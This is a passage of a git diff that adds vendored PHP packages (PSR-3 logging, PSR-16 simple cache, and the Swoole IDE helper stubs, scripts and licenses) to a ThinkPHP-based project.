$this->log(LogLevel::NOTICE, $message, $context); + } + + /** + * Interesting events. + * + * Example: User logs in, SQL logs. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function info($message, array $context = array()) + { + $this->log(LogLevel::INFO, $message, $context); + } + + /** + * Detailed debug information. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function debug($message, array $context = array()) + { + $this->log(LogLevel::DEBUG, $message, $context); + } +} diff --git a/vendor/psr/log/Psr/Log/InvalidArgumentException.php b/vendor/psr/log/Psr/Log/InvalidArgumentException.php new file mode 100644 index 0000000..67f852d --- /dev/null +++ b/vendor/psr/log/Psr/Log/InvalidArgumentException.php @@ -0,0 +1,7 @@ +logger = $logger; + } +} diff --git a/vendor/psr/log/Psr/Log/LoggerInterface.php b/vendor/psr/log/Psr/Log/LoggerInterface.php new file mode 100644 index 0000000..2206cfd --- /dev/null +++ b/vendor/psr/log/Psr/Log/LoggerInterface.php @@ -0,0 +1,125 @@ +log(LogLevel::EMERGENCY, $message, $context); + } + + /** + * Action must be taken immediately. + * + * Example: Entire website down, database unavailable, etc. This should + * trigger the SMS alerts and wake you up. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function alert($message, array $context = array()) + { + $this->log(LogLevel::ALERT, $message, $context); + } + + /** + * Critical conditions. + * + * Example: Application component unavailable, unexpected exception. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function critical($message, array $context = array()) + { + $this->log(LogLevel::CRITICAL, $message, $context); + } + + /** + * Runtime errors that do not require immediate action but should typically + * be logged and monitored. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function error($message, array $context = array()) + { + $this->log(LogLevel::ERROR, $message, $context); + } + + /** + * Exceptional occurrences that are not errors. + * + * Example: Use of deprecated APIs, poor use of an API, undesirable things + * that are not necessarily wrong. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function warning($message, array $context = array()) + { + $this->log(LogLevel::WARNING, $message, $context); + } + + /** + * Normal but significant events. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function notice($message, array $context = array()) + { + $this->log(LogLevel::NOTICE, $message, $context); + } + + /** + * Interesting events. + * + * Example: User logs in, SQL logs. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function info($message, array $context = array()) + { + $this->log(LogLevel::INFO, $message, $context); + } + + /** + * Detailed debug information. + * + * @param string $message + * @param array $context + * + * @return void + */ + public function debug($message, array $context = array()) + { + $this->log(LogLevel::DEBUG, $message, $context); + } + + /** + * Logs with an arbitrary level. + * + * @param mixed $level + * @param string $message + * @param array $context + * + * @return void + * + * @throws \Psr\Log\InvalidArgumentException + */ + abstract public function log($level, $message, array $context = array()); +} diff --git a/vendor/psr/log/Psr/Log/NullLogger.php b/vendor/psr/log/Psr/Log/NullLogger.php new file mode 100644 index 0000000..c8f7293 --- /dev/null +++ b/vendor/psr/log/Psr/Log/NullLogger.php @@ -0,0 +1,30 @@ +logger) { }` + * blocks. + */ +class NullLogger extends AbstractLogger +{ + /** + * Logs with an arbitrary level. + * + * @param mixed $level + * @param string $message + * @param array $context + * + * @return void + * + * @throws \Psr\Log\InvalidArgumentException + */ + public function log($level, $message, array $context = array()) + { + // noop + } +} diff --git a/vendor/psr/log/Psr/Log/Test/DummyTest.php b/vendor/psr/log/Psr/Log/Test/DummyTest.php new file mode 100644 index 0000000..9638c11 --- /dev/null +++ b/vendor/psr/log/Psr/Log/Test/DummyTest.php @@ -0,0 +1,18 @@ + ". + * + * Example ->error('Foo') would yield "error Foo". + * + * @return string[] + */ + abstract public function getLogs(); + + public function testImplements() + { + $this->assertInstanceOf('Psr\Log\LoggerInterface', $this->getLogger()); + } + + /** + * @dataProvider provideLevelsAndMessages + */ + public function testLogsAtAllLevels($level, $message) + { + $logger = $this->getLogger(); + $logger->{$level}($message, array('user' => 'Bob')); + $logger->log($level, $message, array('user' => 'Bob')); + + $expected = array( + $level.' message of level '.$level.' with context: Bob', + $level.' message of level '.$level.' with context: Bob', + ); + $this->assertEquals($expected, $this->getLogs()); + } + + public function provideLevelsAndMessages() + { + return array( + LogLevel::EMERGENCY => array(LogLevel::EMERGENCY, 'message of level emergency with context: {user}'), + LogLevel::ALERT => array(LogLevel::ALERT, 'message of level alert with context: {user}'), + LogLevel::CRITICAL => array(LogLevel::CRITICAL, 'message of level critical with context: {user}'), + LogLevel::ERROR => array(LogLevel::ERROR, 'message of level error with context: {user}'), + LogLevel::WARNING => array(LogLevel::WARNING, 'message of level warning with context: {user}'), + LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of level notice with context: {user}'), + LogLevel::INFO => array(LogLevel::INFO, 'message of level info with context: {user}'), + LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of level debug with context: {user}'), + ); + } + + /** + * @expectedException \Psr\Log\InvalidArgumentException + */ + public function testThrowsOnInvalidLevel() + { + $logger = $this->getLogger(); + $logger->log('invalid level', 'Foo'); + } + + public function testContextReplacement() + { + $logger = $this->getLogger(); + $logger->info('{Message {nothing} {user} {foo.bar} a}', array('user' => 'Bob', 'foo.bar' => 'Bar')); + + $expected = array('info {Message {nothing} Bob Bar a}'); + $this->assertEquals($expected, $this->getLogs()); + } + + public function testObjectCastToString() + { + if (method_exists($this, 'createPartialMock')) { + $dummy = $this->createPartialMock('Psr\Log\Test\DummyTest', array('__toString')); + } else { + $dummy = $this->getMock('Psr\Log\Test\DummyTest', array('__toString')); + } + $dummy->expects($this->once()) + ->method('__toString') + ->will($this->returnValue('DUMMY')); + + $this->getLogger()->warning($dummy); + + $expected = array('warning DUMMY'); + $this->assertEquals($expected, $this->getLogs()); + } + + public function testContextCanContainAnything() + { + $closed = fopen('php://memory', 'r'); + fclose($closed); + + $context = array( + 'bool' => true, + 'null' => null, + 'string' => 'Foo', + 'int' => 0, + 'float' => 0.5, + 'nested' => array('with object' => new DummyTest), + 'object' => new \DateTime, + 'resource' => fopen('php://memory', 'r'), + 'closed' => $closed, + ); + + $this->getLogger()->warning('Crazy context data', $context); + + $expected = array('warning Crazy context data'); + $this->assertEquals($expected, $this->getLogs()); + } + + public function testContextExceptionKeyCanBeExceptionOrOtherValues() + { + $logger = $this->getLogger(); + $logger->warning('Random message', array('exception' => 'oops')); + $logger->critical('Uncaught Exception!', array('exception' => new \LogicException('Fail'))); + + $expected = array( + 'warning Random message', + 'critical Uncaught Exception!' + ); + $this->assertEquals($expected, $this->getLogs()); + } +} diff --git a/vendor/psr/log/Psr/Log/Test/TestLogger.php b/vendor/psr/log/Psr/Log/Test/TestLogger.php new file mode 100644 index 0000000..1be3230 --- /dev/null +++ b/vendor/psr/log/Psr/Log/Test/TestLogger.php @@ -0,0 +1,147 @@ + $level, + 'message' => $message, + 'context' => $context, + ]; + + $this->recordsByLevel[$record['level']][] = $record; + $this->records[] = $record; + } + + public function hasRecords($level) + { + return isset($this->recordsByLevel[$level]); + } + + public function hasRecord($record, $level) + { + if (is_string($record)) { + $record = ['message' => $record]; + } + return $this->hasRecordThatPasses(function ($rec) use ($record) { + if ($rec['message'] !== $record['message']) { + return false; + } + if (isset($record['context']) && $rec['context'] !== $record['context']) { + return false; + } + return true; + }, $level); + } + + public function hasRecordThatContains($message, $level) + { + return $this->hasRecordThatPasses(function ($rec) use ($message) { + return strpos($rec['message'], $message) !== false; + }, $level); + } + + public function hasRecordThatMatches($regex, $level) + { + return $this->hasRecordThatPasses(function ($rec) use ($regex) { + return preg_match($regex, $rec['message']) > 0; + }, $level); + } + + public function hasRecordThatPasses(callable $predicate, $level) + { + if (!isset($this->recordsByLevel[$level])) { + return false; + } + foreach ($this->recordsByLevel[$level] as $i => $rec) { + if (call_user_func($predicate, $rec, $i)) { + return true; + } + } + return false; + } + + public function __call($method, $args) + { + if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { + $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; + $level = strtolower($matches[2]); + if (method_exists($this, $genericMethod)) { + $args[] = $level; + return call_user_func_array([$this, $genericMethod], $args); + } + } + throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); + } + + public function reset() + { + $this->records = []; + $this->recordsByLevel = []; + } +} diff --git a/vendor/psr/log/README.md b/vendor/psr/log/README.md new file mode 100644 index 0000000..a9f20c4 --- /dev/null +++ b/vendor/psr/log/README.md @@ -0,0 +1,58 @@ +PSR Log +======= + +This repository holds all interfaces/classes/traits related to +[PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md). + +Note that this is not a logger of its own. It is merely an interface that +describes a logger. See the specification for more details. + +Installation +------------ + +```bash +composer require psr/log +``` + +Usage +----- + +If you need a logger, you can use the interface like this: + +```php +logger = $logger; + } + + public function doSomething() + { + if ($this->logger) { + $this->logger->info('Doing work'); + } + + try { + $this->doSomethingElse(); + } catch (Exception $exception) { + $this->logger->error('Oh no!', array('exception' => $exception)); + } + + // do something useful + } +} +``` + +You can then pick one of the implementations of the interface to get a logger. + +If you want to implement the interface, you can require this package and +implement `Psr\Log\LoggerInterface` in your code. Please read the +[specification text](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) +for details. diff --git a/vendor/psr/log/composer.json b/vendor/psr/log/composer.json new file mode 100644 index 0000000..3f6d4ee --- /dev/null +++ b/vendor/psr/log/composer.json @@ -0,0 +1,26 @@ +{ + "name": "psr/log", + "description": "Common interface for logging libraries", + "keywords": ["psr", "psr-3", "log"], + "homepage": "https://github.com/php-fig/log", + "license": "MIT", + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "require": { + "php": ">=5.3.0" + }, + "autoload": { + "psr-4": { + "Psr\\Log\\": "Psr/Log/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "1.1.x-dev" + } + } +} diff --git a/vendor/psr/simple-cache/.editorconfig b/vendor/psr/simple-cache/.editorconfig new file mode 100644 index 0000000..48542cb --- /dev/null +++ b/vendor/psr/simple-cache/.editorconfig @@ -0,0 +1,12 @@ +; This file is for unifying the coding style for different editors and IDEs. +; More information at http://editorconfig.org + +root = true + +[*] +charset = utf-8 +indent_size = 4 +indent_style = space +end_of_line = lf +insert_final_newline = true +trim_trailing_whitespace = true diff --git a/vendor/psr/simple-cache/LICENSE.md b/vendor/psr/simple-cache/LICENSE.md new file mode 100644 index 0000000..e49a7c8 --- /dev/null +++ b/vendor/psr/simple-cache/LICENSE.md @@ -0,0 +1,21 @@ +# The MIT License (MIT) + +Copyright (c) 2016 PHP Framework Interoperability Group + +> Permission is hereby granted, free of charge, to any person obtaining a copy +> of this software and associated documentation files (the "Software"), to deal +> in the Software without restriction, including without limitation the rights +> to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +> copies of the Software, and to permit persons to whom the Software is +> furnished to do so, subject to the following conditions: +> +> The above copyright notice and this permission notice shall be included in +> all copies or substantial portions of the Software. +> +> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +> IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +> FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +> AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +> LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +> OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +> THE SOFTWARE. diff --git a/vendor/psr/simple-cache/README.md b/vendor/psr/simple-cache/README.md new file mode 100644 index 0000000..43641d1 --- /dev/null +++ b/vendor/psr/simple-cache/README.md @@ -0,0 +1,8 @@ +PHP FIG Simple Cache PSR +======================== + +This repository holds all interfaces related to PSR-16. + +Note that this is not a cache implementation of its own. It is merely an interface that describes a cache implementation. See [the specification](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-16-simple-cache.md) for more details. + +You can find implementations of the specification by looking for packages providing the [psr/simple-cache-implementation](https://packagist.org/providers/psr/simple-cache-implementation) virtual package. diff --git a/vendor/psr/simple-cache/composer.json b/vendor/psr/simple-cache/composer.json new file mode 100644 index 0000000..2978fa5 --- /dev/null +++ b/vendor/psr/simple-cache/composer.json @@ -0,0 +1,25 @@ +{ + "name": "psr/simple-cache", + "description": "Common interfaces for simple caching", + "keywords": ["psr", "psr-16", "cache", "simple-cache", "caching"], + "license": "MIT", + "authors": [ + { + "name": "PHP-FIG", + "homepage": "http://www.php-fig.org/" + } + ], + "require": { + "php": ">=5.3.0" + }, + "autoload": { + "psr-4": { + "Psr\\SimpleCache\\": "src/" + } + }, + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + } +} diff --git a/vendor/psr/simple-cache/src/CacheException.php b/vendor/psr/simple-cache/src/CacheException.php new file mode 100644 index 0000000..eba5381 --- /dev/null +++ b/vendor/psr/simple-cache/src/CacheException.php @@ -0,0 +1,10 @@ + value pairs. Cache keys that do not exist or are stale will have $default as value. + * + * @throws \Psr\SimpleCache\InvalidArgumentException + * MUST be thrown if $keys is neither an array nor a Traversable, + * or if any of the $keys are not a legal value. + */ + public function getMultiple($keys, $default = null); + + /** + * Persists a set of key => value pairs in the cache, with an optional TTL. + * + * @param iterable $values A list of key => value pairs for a multiple-set operation. + * @param null|int|\DateInterval $ttl Optional. The TTL value of this item. If no value is sent and + * the driver supports TTL then the library may set a default value + * for it or let the driver take care of that. + * + * @return bool True on success and false on failure. + * + * @throws \Psr\SimpleCache\InvalidArgumentException + * MUST be thrown if $values is neither an array nor a Traversable, + * or if any of the $values are not a legal value. + */ + public function setMultiple($values, $ttl = null); + + /** + * Deletes multiple cache items in a single operation. + * + * @param iterable $keys A list of string-based keys to be deleted. + * + * @return bool True if the items were successfully removed. False if there was an error. + * + * @throws \Psr\SimpleCache\InvalidArgumentException + * MUST be thrown if $keys is neither an array nor a Traversable, + * or if any of the $keys are not a legal value. + */ + public function deleteMultiple($keys); + + /** + * Determines whether an item is present in the cache. + * + * NOTE: It is recommended that has() is only to be used for cache warming type purposes + * and not to be used within your live applications operations for get/set, as this method + * is subject to a race condition where your has() will return true and immediately after, + * another script can remove it making the state of your app out of date. + * + * @param string $key The cache item key. + * + * @return bool + * + * @throws \Psr\SimpleCache\InvalidArgumentException + * MUST be thrown if the $key string is not a legal value. + */ + public function has($key); +} diff --git a/vendor/psr/simple-cache/src/InvalidArgumentException.php b/vendor/psr/simple-cache/src/InvalidArgumentException.php new file mode 100644 index 0000000..6a9524a --- /dev/null +++ b/vendor/psr/simple-cache/src/InvalidArgumentException.php @@ -0,0 +1,13 @@ + 'think\\captcha\\CaptchaService', + 1 => 'think\\app\\Service', + 2 => 'think\\swoole\\Service', + 3 => 'think\\trace\\Service', +); \ No newline at end of file diff --git a/vendor/swoole/ide-helper/.gitignore b/vendor/swoole/ide-helper/.gitignore new file mode 100644 index 0000000..347a927 --- /dev/null +++ b/vendor/swoole/ide-helper/.gitignore @@ -0,0 +1,4 @@ +/.idea/ +/composer.lock +/composer.phar +/vendor/ diff --git a/vendor/swoole/ide-helper/.travis.yml b/vendor/swoole/ide-helper/.travis.yml new file mode 100644 index 0000000..df2c121 --- /dev/null +++ b/vendor/swoole/ide-helper/.travis.yml @@ -0,0 +1,10 @@ +language: php + +php: + - 7.3 + +before_install: + - composer update -n + +script: + - ./vendor/bin/phpcs -v --standard=PSR12 bin src diff --git a/vendor/swoole/ide-helper/LICENSE b/vendor/swoole/ide-helper/LICENSE new file mode 100644 index 0000000..ad00f19 --- /dev/null +++ b/vendor/swoole/ide-helper/LICENSE @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright Tianfeng.Han [mikan.tenny@gmail.com] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/swoole/ide-helper/README.md b/vendor/swoole/ide-helper/README.md new file mode 100644 index 0000000..39e097a --- /dev/null +++ b/vendor/swoole/ide-helper/README.md @@ -0,0 +1,53 @@ +# Swoole IDE Helper + +[![Build Status](https://travis-ci.org/swoole/ide-helper.svg?branch=master)](https://travis-ci.org/swoole/ide-helper) +[![Latest Stable Version](https://poser.pugx.org/swoole/ide-helper/v/stable.svg)](https://packagist.org/packages/swoole/ide-helper) +[![License](https://poser.pugx.org/swoole/ide-helper/license)](LICENSE) + +This package contains IDE help files for [Swoole](https://github.com/swoole/swoole-src). You may use it in your IDE to provide accurate autocompletion. + +## Install + +You may add this package to your project using [Composer](https://getcomposer.org): + +```bash +composer require swoole/ide-helper:@dev +# or you may install a specific version, like: +composer require swoole/ide-helper:~4.4.7 +``` + +It's better to install this package on only development systems by adding the `--dev` flag to your Composer commands: + +```bash +composer require --dev swoole/ide-helper:@dev +# or you may install a specific version, like: +composer require --dev swoole/ide-helper:~4.4.7 +``` + +## Alternatives + +The stubs are created by reverse-engineering the Swoole extensions directly; thus there is no documentation included, +and type hinting is missing in many places. The Swoole team has tried its best to keep the stubs up to date, and we do +want to add inline documentation and type hinting in the future; however, due to limited resources we don't know when it +will be ready. + +Here are some alternatives you can consider: + +* [eaglewu/swoole-ide-helper](https://github.com/wudi/swoole-ide-helper) + +## Generate IDE Help Files + +Have Docker running first, then use script _./bin/generator.sh_ to generate IDE help files and put them under folder +`output/` with commands like following: + +```bash +./bin/generator.sh 4.4.16 +./bin/generator.sh 4.4.16 master +./bin/generator.sh 4.4.16 4.4.16 +./bin/generator.sh 4.4.16 b5c9cede8c6150feba50d0e28d56de355fa69d16 +./bin/generator.sh 4.5.0RC1 7c913105c3273aab005489d78e0ff9043bfecb54 +# +``` + +The first parameter specifies a stable release of Swoole. The second parameter is optional; it is to specify which +version of [Swoole library](https://github.com/swoole/library) to be integrated with (by default it will have the latest Swoole library included). diff --git a/vendor/swoole/ide-helper/bin/generator.php b/vendor/swoole/ide-helper/bin/generator.php new file mode 100644 index 0000000..319407a --- /dev/null +++ b/vendor/swoole/ide-helper/bin/generator.php @@ -0,0 +1,34 @@ +#!/usr/bin/env php +export(); + echo "IDE help files for {$generator->getExtension()} {$generator->getVersion()} generated successfully.\n"; +} diff --git a/vendor/swoole/ide-helper/bin/generator.sh b/vendor/swoole/ide-helper/bin/generator.sh new file mode 100644 index 0000000..8534a50 --- /dev/null +++ b/vendor/swoole/ide-helper/bin/generator.sh @@ -0,0 +1,30 @@ +#!/usr/bin/env bash +# +# To generate IDE help files of Swoole. +# +# How to use this script: +# ./bin/generator.sh 4.4.16 +# ./bin/generator.sh 4.4.16 master +# ./bin/generator.sh 4.4.16 4.4.16 +# ./bin/generator.sh 4.4.16 b5c9cede8c6150feba50d0e28d56de355fa69d16 +# ./bin/generator.sh 4.5.0RC1 7c913105c3273aab005489d78e0ff9043bfecb54 +# +# The first parameter specifies a stable release of Swoole. The second parameter is optional; it is to specify which +# version of Swoole library to be integrated with (by default it will have the latest Swoole library included). +# + +set -e + +pushd "`dirname "$0"`" > /dev/null +ROOT_PATH="`pwd -P`/.." +popd > /dev/null # Switch back to current directory. + +cd "${ROOT_PATH}" # Switch to root directory of project "ide-helper". + +rm -rf ./output +docker run --rm \ + -v "$(pwd)":/var/www \ + -e SWOOLE_LIB_VERSION=${2} \ + -t phpswoole/swoole:${1}-php7.1 \ + bash -c "composer install && ./bin/generator.php" +git add ./output diff --git a/vendor/swoole/ide-helper/composer.json b/vendor/swoole/ide-helper/composer.json new file mode 100644 index 0000000..4672285 --- /dev/null +++ b/vendor/swoole/ide-helper/composer.json @@ -0,0 +1,23 @@ +{ + "name": "swoole/ide-helper", + "type": "library", + "description": "IDE help files for Swoole.", + "license": "Apache-2.0", + "authors": [ + { + "name": "Team Swoole", + "email": "team@swoole.com" + } + ], + "require-dev": { + "guzzlehttp/guzzle": "~6.5.0", + "laminas/laminas-code": "~3.4.0", + "squizlabs/php_codesniffer": "~3.5.0", + "symfony/filesystem": "~4.0" + }, + "autoload-dev": { + "psr-4": { + "Swoole\\IDEHelper\\": "src/" + } + } +} diff --git a/vendor/swoole/ide-helper/config/chinese/server/method/send.php b/vendor/swoole/ide-helper/config/chinese/server/method/send.php new file mode 100644 index 0000000..f6061c1 --- /dev/null +++ b/vendor/swoole/ide-helper/config/chinese/server/method/send.php @@ -0,0 +1,27 @@ + ' + * 向客户端发送数据 + * + * * $data,发送的数据。TCP协议最大不得超过2M,UDP协议不得超过64K + * * 发送成功会返回true,如果连接已被关闭或发送失败会返回false + * + * TCP服务器 + * ------------------------------------------------------------------------- + * * send操作具有原子性,多个进程同时调用send向同一个连接发送数据,不会发生数据混杂 + * * 如果要发送超过2M的数据,可以将数据写入临时文件,然后通过sendfile接口进行发送 + * + * swoole-1.6以上版本不需要$from_id + * + * UDP服务器 + * ------------------------------------------------------------------------ + * * send操作会直接在worker进程内发送数据包,不会再经过主进程转发 + * * 使用fd保存客户端IP,from_id保存from_fd和port + * * 如果在onReceive后立即向客户端发送数据,可以不传$reactor_id + * * 如果向其他UDP客户端发送数据,必须要传入$reactor_id + * * 在外网服务中发送超过64K的数据会分成多个传输单元进行发送,如果其中一个单元丢包,会导致整个包被丢弃。所以外网服务,建议发送1.5K以下的数据包 + *', + //返回值 + 'return' => 'bool' +); \ No newline at end of file diff --git a/vendor/swoole/ide-helper/output/swoole/aliases.php b/vendor/swoole/ide-helper/output/swoole/aliases.php new file mode 100644 index 0000000..2853fb1 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole/aliases.php @@ -0,0 +1,49 @@ +add($fn, ...$args); + return $s->start(); + } +} + +namespace Co { + if (SWOOLE_USE_SHORTNAME) { + function run(callable $fn, ...$args) + { + return \Swoole\Coroutine\Run($fn, ...$args); + } + } +} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/ArrayObject.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/ArrayObject.php new file mode 100644 index 0000000..19680f1 --- /dev/null +++ b/vendor/swoole/ide-helper/output/swoole_library/src/core/ArrayObject.php @@ -0,0 +1,681 @@ +array = $array; + } + + public function __toArray(): array + { + return $this->array; + } + + public function toArray(): array + { + return $this->array; + } + + public function isEmpty(): bool + { + return empty($this->array); + } + + public function count(): int + { + return count($this->array); + } + + /** + * @return mixed + */ + public function current() + { + return current($this->array); + } + + /** + * @return mixed + */ + public function key() + { + return key($this->array); + } + + public function valid(): bool + { + return array_key_exists($this->key(), $this->array); + } + + /** + * @return mixed + */ + public function rewind() + { + return reset($this->array); + } + + /** + * @return mixed + */ + public function next() + { + return next($this->array); + } + + /** + * @param mixed $key + * @return ArrayObject|StringObject + */ + public function get($key) + { + if (!$this->exists($key)) { + throw new ArrayKeyNotExists($key); + } + return static::detectType($this->array[$key]); + } + + /** + * @return mixed + */ + public function last() + { + $key = array_key_last($this->array); + if ($key === null) { + return null; + } + return $this->get($key); + } + + /** + * @return null|int|string + */ + public function firstKey() + { + return array_key_first($this->array); + } + + /** + * @return null|int|string + */ + public function lastKey() + { + return array_key_last($this->array); + } + + /** + * @return mixed + */ + public function first() + { + $key = array_key_first($this->array); + if ($key === null) { + return null; + } + return $this->get($key); + } + + /** + * @param mixed $key + * @param 